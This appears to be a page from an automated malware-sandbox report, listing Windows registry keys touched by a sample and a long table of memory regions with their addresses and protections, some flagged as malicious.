HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
LastUpdated
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
SupportedRenderTriggers
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-338387
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
RenderedCreativeIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
530411528
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387
PreviousContentRotationTime
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ShortContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
LastUpdated
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
SupportedRenderTriggers
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-338387
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
RenderedCreativeIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
532871768
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
SupportedRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
LastRenderedTimes
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
NextRotationTimes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-338387
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
ConsecutiveRenderFailureCount
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-338387
HealthEvaluation
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
There are 112 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
Download
4CE0000
trusted library allocation
page read and write
 malicious
5780000
system
page execute and read and write
 malicious
3A20000
unclassified section
page execute and read and write
 malicious
400000
system
page execute and read and write
 malicious
4C00000
unclassified section
page execute and read and write
 malicious
3190000
unkown
page execute and read and write
 malicious
3000000
system
page execute and read and write
 malicious
4C90000
trusted library allocation
page read and write
 malicious
4A3E000
stack
page read and write
7F1000
trusted library allocation
page read and write
4683000
direct allocation
page read and write
3114000
heap
page read and write
42F0000
trusted library allocation
page read and write
4B91000
heap
page read and write
1DC08750000
trusted library allocation
page read and write
818F000
heap
page read and write
3734000
unkown
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
811B000
heap
page read and write
314E000
heap
page read and write
716F000
heap
page read and write
13A0000
heap
page read and write
6E60000
heap
page read and write
3DCD000
direct allocation
page execute and read and write
6860000
direct allocation
page read and write
1390000
unkown
page read and write
2D0E000
stack
page read and write
73D0000
trusted library allocation
page read and write
8087000
heap
page read and write
1DC06E70000
heap
page read and write
4C0B000
heap
page read and write
4B91000
heap
page read and write
92E000
heap
page read and write
1300000
unkown
page read and write
817F000
heap
page read and write
A20000
unkown
page readonly
4B91000
heap
page read and write
80FE000
stack
page read and write
4B91000
heap
page read and write
1DC06E6C000
heap
page read and write
4B91000
heap
page read and write
2568000
stack
page read and write
2828000
heap
page read and write
7D0000
heap
page read and write
7190000
heap
page read and write
484E000
stack
page read and write
4800000
heap
page read and write
3980000
direct allocation
page read and write
47DD000
direct allocation
page read and write
3419000
heap
page read and write
4B91000
heap
page read and write
1ABE000
heap
page read and write
9C0000
heap
page read and write
1650000
heap
page read and write
7163000
heap
page read and write
6A0000
heap
page read and write
179E000
stack
page read and write
4B88000
heap
page read and write
12F000
unkown
page readonly
69AB000
stack
page read and write
1DC08800000
trusted library allocation
page read and write
EB0000
unkown
page readonly
4B91000
heap
page read and write
3151000
heap
page read and write
6A1C000
stack
page read and write
4633000
direct allocation
page read and write
2D10000
heap
page read and write
30CF000
heap
page read and write
7070000
heap
page execute and read and write
4B80000
heap
page read and write
1A72000
heap
page read and write
9CE000
heap
page read and write
51BD000
direct allocation
page execute and read and write
9CA000
heap
page read and write
5242000
unclassified section
page read and write
4B91000
heap
page read and write
7340000
trusted library allocation
page read and write
2E9000
stack
page read and write
1DC06CC1000
system
page execute and read and write
1DC08660000
heap
page read and write
4633000
direct allocation
page read and write
4B91000
heap
page read and write
341A000
heap
page read and write
44C5000
heap
page read and write
2F4C000
stack
page read and write
141A000
heap
page read and write
4B91000
heap
page read and write
4200000
unclassified section
page execute and read and write
C8F000
stack
page read and write
17DE000
stack
page read and write
4B91000
heap
page read and write
3213000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
49FA000
stack
page read and write
8192000
trusted library allocation
page read and write
499C000
trusted library allocation
page read and write
58FC000
unkown
page read and write
4B91000
heap
page read and write
4B90000
heap
page read and write
1A53000
heap
page read and write
100D000
unkown
page read and write
3090000
heap
page read and write
1AC5000
heap
page read and write
447C000
stack
page read and write
3213000
heap
page read and write
4B91000
heap
page read and write
940000
unkown
page read and write
6C2E000
stack
page read and write
A21000
unkown
page execute read
7FEA000
heap
page read and write
4829000
direct allocation
page read and write
3200000
heap
page read and write
692D000
stack
page read and write
5B3F000
stack
page read and write
4AE0000
direct allocation
page read and write
4320000
trusted library allocation
page read and write
88EF000
stack
page read and write
5E1000
unkown
page readonly
5BB0000
heap
page read and write
1C38000
heap
page read and write
3B00000
direct allocation
page execute and read and write
7EE0000
trusted library allocation
page read and write
2790000
unkown
page execute and read and write
813B000
heap
page read and write
4B20000
heap
page read and write
8171000
heap
page read and write
4B91000
heap
page read and write
25E0000
heap
page read and write
F2A000
stack
page read and write
4980000
trusted library allocation
page read and write
EC0000
unkown
page readonly
296E000
stack
page read and write
4E7F000
stack
page read and write
489E000
direct allocation
page read and write
30D3000
heap
page read and write
F70000
unkown
page readonly
884F000
stack
page read and write
3400000
heap
page read and write
311E000
heap
page read and write
4A40000
heap
page read and write
3A58000
unkown
page read and write
582C000
system
page execute and read and write
121000
unkown
page execute read
4988000
trusted library allocation
page read and write
4829000
direct allocation
page read and write
3213000
heap
page read and write
4BC3000
heap
page read and write
4B91000
heap
page read and write
7F20000
trusted library allocation
page read and write
4B91000
heap
page read and write
73C0000
trusted library allocation
page read and write
8069000
heap
page read and write
696F000
stack
page read and write
47F0000
trusted library allocation
page read and write
4804000
heap
page read and write
8179000
heap
page read and write
7ED0000
trusted library allocation
page execute and read and write
4E90000
trusted library allocation
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
1A87000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
6D0000
heap
page read and write
4B91000
heap
page read and write
3164000
heap
page read and write
4B91000
heap
page read and write
4A49000
trusted library allocation
page read and write
4B91000
heap
page read and write
814C000
heap
page read and write
47DD000
direct allocation
page read and write
4B91000
heap
page read and write
1A24000
heap
page read and write
7350000
trusted library allocation
page read and write
430D000
trusted library allocation
page execute and read and write
5302000
unclassified section
page read and write
4B91000
heap
page read and write
4BAE000
heap
page read and write
3FA0000
heap
page read and write
5848000
system
page execute and read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4994000
trusted library allocation
page read and write
1DC08ABE000
trusted library allocation
page read and write
141E000
heap
page read and write
7182000
heap
page read and write
6D6E000
stack
page read and write
4F0C000
stack
page read and write
6BAD000
stack
page read and write
47D9000
direct allocation
page read and write
73B0000
trusted library allocation
page read and write
33E0000
heap
page read and write
4B91000
heap
page read and write
F80000
unkown
page readonly
101F000
stack
page read and write
83AE000
stack
page read and write
4BD3000
heap
page read and write
7EEB000
trusted library allocation
page read and write
1DC08921000
trusted library allocation
page read and write
535C000
unclassified section
page read and write
3189000
heap
page read and write
70D6000
heap
page read and write
51C1000
direct allocation
page execute and read and write
3123000
heap
page read and write
286E000
heap
page read and write
2F7F000
stack
page read and write
6AAD000
stack
page read and write
1A51000
heap
page read and write
3BEA000
unkown
page read and write
313C000
heap
page read and write
43E0000
heap
page readonly
310F000
heap
page read and write
AD4000
unkown
page readonly
6820000
direct allocation
page read and write
FA0000
unkown
page read and write
489E000
direct allocation
page read and write
39D0000
direct allocation
page read and write
950000
heap
page read and write
7400000
trusted library allocation
page read and write
870C000
stack
page read and write
1390000
unkown
page read and write
6AEB000
stack
page read and write
EA0000
unkown
page readonly
4B91000
heap
page read and write
F70000
unkown
page readonly
4E90000
trusted library allocation
page read and write
4B91000
heap
page read and write
8D7000
heap
page read and write
121000
unkown
page execute read
C3E000
stack
page read and write
4B91000
heap
page read and write
3405000
heap
page read and write
4D8F000
stack
page read and write
484E000
direct allocation
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4D42000
heap
page read and write
1A12000
heap
page read and write
4560000
direct allocation
page read and write
4B91000
heap
page read and write
ADE000
unkown
page read and write
4B91000
heap
page read and write
26A0000
unkown
page readonly
1A89000
heap
page read and write
85FE000
stack
page read and write
4B91000
heap
page read and write
4951000
trusted library allocation
page read and write
482D000
direct allocation
page read and write
5F0000
heap
page read and write
4BD7000
heap
page read and write
880E000
stack
page read and write
4A70000
heap
page read and write
FEE000
stack
page read and write
4952000
trusted library allocation
page read and write
4CB3000
trusted library allocation
page read and write
716B000
heap
page read and write
590000
unkown
page readonly
30B0000
heap
page read and write
1AAD000
heap
page read and write
918000
heap
page read and write
3213000
heap
page read and write
5DEF000
stack
page read and write
7FDA000
heap
page read and write
3141000
heap
page read and write
1DC08750000
trusted library allocation
page read and write
3213000
heap
page read and write
8120000
heap
page read and write
1A42000
heap
page read and write
4CB8000
heap
page read and write
30D3000
heap
page read and write
484E000
direct allocation
page read and write
4683000
direct allocation
page read and write
6BEA000
stack
page read and write
6B6F000
stack
page read and write
1DC08740000
heap
page read and write
1AB2000
heap
page read and write
1020000
unkown
page readonly
8B4000
heap
page read and write
500E000
stack
page read and write
725E000
stack
page read and write
13B0000
heap
page read and write
4B91000
heap
page read and write
4700000
direct allocation
page read and write
7F980000
trusted library allocation
page execute and read and write
5CEE000
stack
page read and write
810D000
heap
page read and write
9CE000
heap
page read and write
55A000
stack
page read and write
4C0B000
heap
page read and write
504B000
stack
page read and write
1680000
heap
page read and write
7360000
trusted library allocation
page read and write
4EF0000
unkown
page execute and read and write
4B91000
heap
page read and write
2864000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
3202000
heap
page read and write
2430000
unkown
page read and write
7294000
system
page read and write
4E0000
unkown
page readonly
8BE000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
480F000
heap
page read and write
4B91000
heap
page read and write
283A000
heap
page read and write
4B91000
heap
page read and write
1A77000
heap
page execute and read and write
121000
unkown
page execute read
43F0000
trusted library allocation
page read and write
1DC06C40000
system
page execute and read and write
7DF0000
trusted library allocation
page read and write
4B91000
heap
page read and write
319D000
heap
page read and write
1A32000
heap
page read and write
6880000
direct allocation
page read and write
47DD000
direct allocation
page read and write
71D000
stack
page read and write
4B91000
heap
page read and write
30C8000
heap
page read and write
5B0000
unkown
page readonly
30CA000
heap
page read and write
3213000
heap
page read and write
1A00000
heap
page read and write
1DC0890A000
trusted library allocation
page read and write
4B91000
heap
page read and write
2430000
unkown
page read and write
AAF000
unkown
page readonly
4CB0000
trusted library allocation
page read and write
5BB5000
heap
page read and write
4B91000
heap
page read and write
8C9000
heap
page read and write
1DC08ACE000
trusted library allocation
page read and write
4B91000
heap
page read and write
1A89000
heap
page read and write
6D2E000
stack
page read and write
5B0000
unkown
page readonly
4B91000
heap
page read and write
4B91000
heap
page read and write
26A0000
unkown
page readonly
52DE000
stack
page read and write
139000
unkown
page readonly
1A70000
unkown
page readonly
2712000
heap
page read and write
2830000
heap
page read and write
4700000
direct allocation
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
46B0000
direct allocation
page read and write
4EE0000
heap
page read and write
4310000
trusted library allocation
page read and write
4BA1000
heap
page read and write
8EA000
heap
page read and write
3900000
heap
page read and write
68F0000
heap
page read and write
13A4000
heap
page read and write
444C000
stack
page read and write
4683000
direct allocation
page read and write
2820000
heap
page read and write
812D000
heap
page read and write
4B91000
heap
page read and write
EB0000
unkown
page readonly
1320000
unkown
page readonly
3147000
heap
page read and write
292B1FE000
stack
page read and write
4B91000
heap
page read and write
7E00000
trusted library allocation
page read and write
1AC3000
heap
page read and write
4B91000
heap
page read and write
1DC08AA9000
trusted library allocation
page read and write
30CA000
heap
page read and write
4332000
trusted library allocation
page read and write
4B91000
heap
page read and write
4330000
trusted library allocation
page read and write
8F6000
heap
page read and write
2594000
heap
page read and write
99E000
stack
page read and write
7EB0000
heap
page read and write
29B0000
heap
page read and write
4B91000
heap
page read and write
59FC000
unkown
page read and write
49A2000
trusted library allocation
page read and write
8132000
heap
page read and write
501D000
direct allocation
page execute and read and write
4B9D000
heap
page read and write
1DC06E73000
heap
page read and write
3213000
heap
page read and write
88CC000
stack
page read and write
2594000
heap
page read and write
3187000
heap
page read and write
4B91000
heap
page read and write
4C09000
heap
page read and write
4B91000
heap
page read and write
3072000
unkown
page read and write
8660000
trusted library allocation
page read and write
AE7000
unkown
page readonly
4BB9000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4335000
trusted library allocation
page execute and read and write
C90000
unkown
page readonly
8128000
heap
page read and write
7370000
trusted library allocation
page read and write
874D000
stack
page read and write
3A2D000
heap
page read and write
53B0000
trusted library allocation
page read and write
4B91000
heap
page read and write
BF0000
heap
page read and write
4B91000
heap
page read and write
4976000
trusted library allocation
page read and write
4B91000
heap
page read and write
489E000
direct allocation
page read and write
61D0000
heap
page read and write
43F8000
trusted library allocation
page read and write
4B91000
heap
page read and write
5A96000
unclassified section
page read and write
4560000
direct allocation
page read and write
2D1A000
heap
page read and write
4BFB000
heap
page read and write
8078000
heap
page read and write
4B91000
heap
page read and write
7F40000
trusted library allocation
page read and write
5A87000
trusted library allocation
page read and write
7E6D000
stack
page read and write
4B91000
heap
page read and write
3213000
heap
page read and write
4304000
trusted library allocation
page read and write
5F4C000
unclassified section
page read and write
5A9F000
trusted library allocation
page read and write
5A3E000
stack
page read and write
4510000
direct allocation
page read and write
252C000
stack
page read and write
36F0000
heap
page read and write
12F000
unkown
page readonly
7FD2000
heap
page read and write
3213000
heap
page read and write
4B91000
heap
page read and write
3A9E000
heap
page read and write
8F5000
heap
page read and write
15BE000
stack
page read and write
508E000
direct allocation
page execute and read and write
7FE3000
heap
page read and write
4998000
trusted library allocation
page read and write
4829000
direct allocation
page read and write
13B5000
heap
page read and write
4B91000
heap
page read and write
343E000
heap
page read and write
5919000
trusted library allocation
page read and write
387E000
stack
page read and write
7EC0000
heap
page read and write
4BE9000
heap
page read and write
61E1000
heap
page read and write
3390000
trusted library allocation
page read and write
3213000
heap
page read and write
13A4000
heap
page read and write
4B91000
heap
page read and write
4AE6000
direct allocation
page read and write
1A7F000
heap
page read and write
8122000
heap
page read and write
4B60000
heap
page read and write
4B91000
heap
page read and write
38C6000
unkown
page read and write
3380000
heap
page read and write
3128000
heap
page read and write
49A8000
trusted library allocation
page read and write
1A9A000
heap
page read and write
943000
heap
page read and write
7F998000
trusted library allocation
page execute and read and write
4C01000
heap
page read and write
73E0000
trusted library allocation
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
1439000
heap
page read and write
8186000
heap
page read and write
4B91000
heap
page read and write
CD0000
heap
page read and write
42CE000
stack
page read and write
4F0000
unkown
page readonly
3135000
heap
page read and write
16DF000
stack
page read and write
4B91000
heap
page read and write
488E000
stack
page read and write
4B91000
heap
page read and write
8FC000
stack
page read and write
8210000
trusted library allocation
page read and write
6B2E000
stack
page read and write
1DC0890E000
trusted library allocation
page read and write
4AE2000
direct allocation
page read and write
2F8A000
stack
page read and write
383F000
stack
page read and write
90E000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
3213000
heap
page read and write
721E000
stack
page read and write
30CE000
heap
page read and write
4B91000
heap
page read and write
2DC8000
stack
page read and write
F2A000
stack
page read and write
30D9000
heap
page read and write
4E6B000
heap
page read and write
136000
unkown
page read and write
8157000
heap
page read and write
46B0000
direct allocation
page read and write
4B84000
heap
page read and write
4B91000
heap
page read and write
44C0000
direct allocation
page read and write
2601000
heap
page read and write
55A000
stack
page read and write
4B91000
heap
page read and write
5A98000
trusted library allocation
page read and write
30D8000
heap
page read and write
1DC06E40000
heap
page read and write
71DE000
stack
page read and write
7F90000
heap
page read and write
6CEC000
system
page read and write
A00000
heap
page read and write
1DC06E4F000
heap
page read and write
583C000
system
page execute and read and write
81C0000
trusted library allocation
page read and write
4B91000
heap
page read and write
30D3000
heap
page read and write
812A000
heap
page read and write
318C000
unkown
page read and write
4ECF000
stack
page read and write
F90000
heap
page read and write
13B0000
heap
page read and write
6E5E000
stack
page read and write
4954000
trusted library allocation
page read and write
4B91000
heap
page read and write
6C92000
system
page read and write
589F000
system
page execute and read and write
5A0000
unkown
page readonly
4B91000
heap
page read and write
4B91000
heap
page read and write
4978000
trusted library allocation
page read and write
7CE000
stack
page read and write
4AF2000
direct allocation
page read and write
6960000
unclassified section
page execute and read and write
58F1000
trusted library allocation
page read and write
5AA7000
trusted library allocation
page read and write
1DC08903000
trusted library allocation
page read and write
3123000
heap
page read and write
69D0000
heap
page execute and read and write
44C0000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
16DF000
stack
page read and write
30D3000
heap
page read and write
3064000
heap
page read and write
7153000
heap
page read and write
44E0000
heap
page read and write
1C39000
heap
page read and write
595B000
trusted library allocation
page read and write
8011000
heap
page read and write
1DC08AC4000
trusted library allocation
page read and write
4633000
direct allocation
page read and write
1AB2000
heap
page read and write
3080000
heap
page read and write
5D0000
unkown
page read and write
F60000
unkown
page readonly
4BA7000
heap
page read and write
1C39000
heap
page read and write
120000
unkown
page readonly
4806000
heap
page read and write
30B7000
heap
page read and write
4C8E000
stack
page read and write
72DE000
stack
page read and write
4BA8000
heap
page read and write
4B91000
heap
page read and write
15FC000
stack
page read and write
4938000
trusted library allocation
page read and write
4B91000
heap
page read and write
4E6F000
heap
page read and write
4B91000
heap
page read and write
12F000
unkown
page readonly
878E000
stack
page read and write
FF1000
unkown
page readonly
5560000
unclassified section
page execute and read and write
9A0000
unkown
page readonly
4B91000
heap
page read and write
3D7C000
unkown
page read and write
8330000
trusted library allocation
page read and write
4B91000
heap
page read and write
7FD7000
heap
page read and write
590000
unkown
page readonly
6F72000
heap
page read and write
3823000
heap
page read and write
141A000
heap
page read and write
8195000
heap
page read and write
4B80000
heap
page read and write
1320000
unkown
page readonly
121000
unkown
page execute read
4510000
direct allocation
page read and write
1DC08900000
trusted library allocation
page read and write
7E00000
trusted library allocation
page read and write
4CB6000
trusted library allocation
page read and write
4C07000
heap
page read and write
482D000
direct allocation
page read and write
136000
unkown
page read and write
3417000
heap
page read and write
731D000
stack
page read and write
69D5000
heap
page execute and read and write
8192000
heap
page read and write
4BAF000
heap
page read and write
584B000
system
page execute and read and write
4B91000
heap
page read and write
8116000
heap
page read and write
29299FB000
stack
page read and write
4B91000
heap
page read and write
4C01000
heap
page read and write
4A40000
trusted library allocation
page read and write
4B91000
heap
page read and write
5F0000
heap
page read and write
343E000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
3AF0000
unkown
page execute and read and write
3390000
heap
page read and write
2D17000
heap
page read and write
4B91000
heap
page read and write
AFD000
stack
page read and write
FA0000
unkown
page read and write
4B91000
heap
page read and write
269F000
stack
page read and write
1A31000
heap
page read and write
3132000
unkown
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
120000
unkown
page readonly
317E000
heap
page read and write
25FE000
stack
page read and write
4B91000
heap
page read and write
818C000
heap
page read and write
4922000
heap
page read and write
1021000
unkown
page readonly
24B0000
heap
page read and write
3213000
heap
page read and write
4B91000
heap
page read and write
5A0000
unkown
page readonly
4B91000
heap
page read and write
881000
heap
page read and write
4B91000
heap
page read and write
3DD1000
direct allocation
page execute and read and write
3213000
heap
page read and write
1DC08A00000
trusted library allocation
page read and write
4DE0000
trusted library allocation
page execute and read and write
28DF000
heap
page read and write
17E0000
heap
page read and write
5BBC000
heap
page read and write
341B000
heap
page read and write
50EE000
trusted library allocation
page read and write
4B91000
heap
page read and write
7167000
heap
page read and write
1C39000
heap
page read and write
4B91000
heap
page read and write
3A29000
heap
page read and write
39D0000
direct allocation
page read and write
3700000
direct allocation
page read and write
1DC08A01000
trusted library allocation
page read and write
139000
unkown
page readonly
4457000
heap
page read and write
6D5000
heap
page read and write
902000
heap
page read and write
47E0000
trusted library allocation
page execute and read and write
4B91000
heap
page read and write
1040000
heap
page read and write
F80000
unkown
page readonly
812D000
heap
page read and write
1A31000
heap
page read and write
5C0000
heap
page read and write
4B91000
heap
page read and write
8670000
trusted library allocation
page read and write
5823000
system
page execute and read and write
8FC000
stack
page read and write
7380000
trusted library allocation
page read and write
858000
heap
page read and write
780000
heap
page read and write
810000
trusted library allocation
page read and write
4970000
trusted library allocation
page read and write
44F0000
unkown
page execute and read and write
13C0000
unkown
page read and write
EA0000
unkown
page readonly
4B91000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
8182000
heap
page read and write
4E90000
trusted library allocation
page read and write
5904000
unclassified section
page read and write
4B91000
heap
page read and write
4BDE000
heap
page read and write
4B91000
heap
page read and write
86E000
heap
page read and write
4B91000
heap
page read and write
3501000
heap
page read and write
54F8000
unclassified section
page execute and read and write
1DC06CC4000
system
page execute and read and write
1A84000
heap
page read and write
3C9E000
direct allocation
page execute and read and write
5BD0000
heap
page read and write
1DC08911000
trusted library allocation
page read and write
1A72000
heap
page read and write
F90000
heap
page read and write
482D000
direct allocation
page read and write
70CE000
heap
page read and write
139000
unkown
page readonly
46B0000
direct allocation
page read and write
3060000
heap
page read and write
484E000
direct allocation
page read and write
3178000
heap
page read and write
4B91000
heap
page read and write
FF1000
unkown
page readonly
2F7F000
stack
page read and write
30DB000
heap
page read and write
4BB5000
heap
page read and write
4B91000
heap
page read and write
6840000
direct allocation
page read and write
47D9000
direct allocation
page read and write
5F60000
unclassified section
page execute and read and write
4B91000
heap
page read and write
4560000
direct allocation
page read and write
AE7000
unkown
page readonly
138E000
stack
page read and write
6CAE000
stack
page read and write
7320000
trusted library allocation
page read and write
4D0000
unkown
page readonly
499E000
trusted library allocation
page read and write
4B91000
heap
page read and write
29D0000
heap
page read and write
29D7000
heap
page read and write
292A1FE000
stack
page read and write
4B91000
heap
page read and write
3C29000
direct allocation
page execute and read and write
1630000
heap
page read and write
C90000
unkown
page readonly
3072000
unkown
page read and write
15CE000
stack
page read and write
3EA000
stack
page read and write
EC0000
unkown
page readonly
4960000
trusted library allocation
page read and write
70F9000
heap
page read and write
4B91000
heap
page read and write
373E000
stack
page read and write
58F0000
unkown
page execute and read and write
136000
unkown
page read and write
2D8B000
stack
page read and write
9C0000
heap
page read and write
4B91000
heap
page read and write
51DE000
stack
page read and write
A20000
unkown
page readonly
4303000
trusted library allocation
page execute and read and write
AAF000
unkown
page readonly
311E000
heap
page read and write
2FE0000
heap
page read and write
1A7E000
heap
page execute and read and write
70CA000
heap
page read and write
12FC000
stack
page read and write
2860000
heap
page read and write
4B91000
heap
page read and write
81A0000
trusted library section
page read and write
710C000
heap
page read and write
4BB4000
heap
page read and write
1A71000
unkown
page readonly
43DF000
stack
page read and write
428E000
stack
page read and write
47DD000
stack
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
7145000
heap
page read and write
3213000
heap
page read and write
9CA000
heap
page read and write
16E0000
unkown
page readonly
7EE7000
trusted library allocation
page read and write
4B91000
heap
page read and write
5E1000
unkown
page readonly
4B91000
heap
page read and write
3183000
heap
page read and write
432A000
trusted library allocation
page execute and read and write
888C000
stack
page read and write
2C8F000
stack
page read and write
120000
unkown
page readonly
39D0000
direct allocation
page read and write
2CCB000
stack
page read and write
1DC06E90000
heap
page read and write
5C28000
unclassified section
page read and write
8125000
heap
page read and write
4B91000
heap
page read and write
49A0000
trusted library allocation
page read and write
850000
heap
page read and write
48F1000
trusted library allocation
page read and write
4B91000
heap
page read and write
4F0000
unkown
page readonly
3064000
heap
page read and write
2590000
heap
page read and write
7DE0000
trusted library allocation
page execute and read and write
1DC06E4A000
heap
page read and write
30D3000
heap
page read and write
6E78000
heap
page read and write
292A9FE000
stack
page read and write
FEE000
stack
page read and write
3700000
heap
page read and write
4319000
trusted library allocation
page read and write
6BD2000
system
page read and write
4B91000
heap
page read and write
688E000
direct allocation
page read and write
1DC06D60000
heap
page read and write
12FC000
stack
page read and write
7FD4000
heap
page read and write
397F000
stack
page read and write
1802000
heap
page read and write
4450000
heap
page read and write
4B91000
heap
page read and write
86F5000
trusted library allocation
page read and write
AD4000
unkown
page readonly
4BD4000
heap
page read and write
4B91000
heap
page read and write
940000
unkown
page read and write
5330000
trusted library allocation
page read and write
3610000
heap
page read and write
6C6D000
stack
page read and write
139000
unkown
page readonly
FF9000
stack
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
6E74000
heap
page read and write
3C2D000
direct allocation
page execute and read and write
514E000
stack
page read and write
3417000
heap
page read and write
3213000
heap
page read and write
4B91000
heap
page read and write
48E0000
heap
page read and write
4EF0000
direct allocation
page execute and read and write
5BBF000
heap
page read and write
16E0000
unkown
page readonly
8111000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
87CF000
stack
page read and write
4B91000
heap
page read and write
866B000
trusted library allocation
page read and write
4B91000
heap
page read and write
3412000
heap
page read and write
4B91000
heap
page read and write
1C00000
heap
page read and write
2701000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
1300000
unkown
page read and write
507E000
stack
page read and write
851E000
stack
page read and write
1340000
heap
page read and write
492E000
heap
page read and write
8340000
trusted library allocation
page read and write
8F4000
heap
page read and write
4CA6000
trusted library allocation
page read and write
4B91000
heap
page read and write
3064000
heap
page read and write
4B91000
heap
page read and write
73A0000
trusted library allocation
page read and write
3A88000
unkown
page execute and read and write
141E000
heap
page read and write
3405000
heap
page read and write
4300000
trusted library allocation
page read and write
493E000
trusted library allocation
page read and write
8A6000
heap
page read and write
24B0000
heap
page read and write
2590000
heap
page read and write
8FB000
heap
page read and write
1DC06E73000
heap
page read and write
30FB000
heap
page read and write
30D3000
heap
page read and write
30C8000
heap
page read and write
7060000
trusted library allocation
page read and write
80BE000
stack
page read and write
292B9FF000
stack
page read and write
4AA0000
direct allocation
page read and write
45FD000
stack
page read and write
922000
heap
page read and write
650000
heap
page read and write
4B91000
heap
page read and write
85BB000
stack
page read and write
2F80000
unkown
page readonly
6CEA000
stack
page read and write
9FE000
stack
page read and write
4350000
trusted library allocation
page read and write
81D0000
trusted library allocation
page read and write
49A4000
trusted library allocation
page read and write
855E000
stack
page read and write
7090000
heap
page read and write
A07000
heap
page read and write
4920000
heap
page read and write
4BEA000
heap
page read and write
688E000
direct allocation
page read and write
4BA2000
heap
page read and write
8100000
trusted library allocation
page read and write
3128000
heap
page read and write
3135000
heap
page read and write
4BF3000
heap
page read and write
7390000
trusted library allocation
page read and write
21FE000
stack
page read and write
4B00000
direct allocation
page read and write
4510000
direct allocation
page read and write
47D9000
direct allocation
page read and write
136000
unkown
page read and write
4928000
heap
page read and write
4B91000
heap
page read and write
316F000
heap
page read and write
729E000
stack
page read and write
4001000
heap
page read and write
7330000
trusted library allocation
page execute and read and write
F60000
unkown
page readonly
4C07000
heap
page read and write
3E42000
direct allocation
page execute and read and write
815C000
heap
page read and write
4B91000
heap
page read and write
81B0000
trusted library allocation
page execute and read and write
13D0000
unkown
page read and write
4B95000
heap
page read and write
5019000
direct allocation
page execute and read and write
9A0000
unkown
page readonly
2FC0000
heap
page read and write
93E000
stack
page read and write
4B91000
heap
page read and write
25F0000
heap
page read and write
4E0000
unkown
page readonly
4812000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
7EAE000
stack
page read and write
A21000
unkown
page execute read
7149000
heap
page read and write
48A0000
heap
page execute and read and write
49A8000
trusted library allocation
page read and write
8110000
heap
page read and write
120000
unkown
page readonly
6E70000
heap
page read and write
13A0000
heap
page read and write
4B91000
heap
page read and write
4700000
direct allocation
page read and write
4D30000
trusted library allocation
page read and write
88AE000
stack
page read and write
4BBE000
heap
page read and write
4BB1000
heap
page read and write
84D0000
trusted library allocation
page read and write
1DC06E5C000
heap
page read and write
4B91000
heap
page read and write
342B000
heap
page read and write
4B91000
heap
page read and write
ECF000
stack
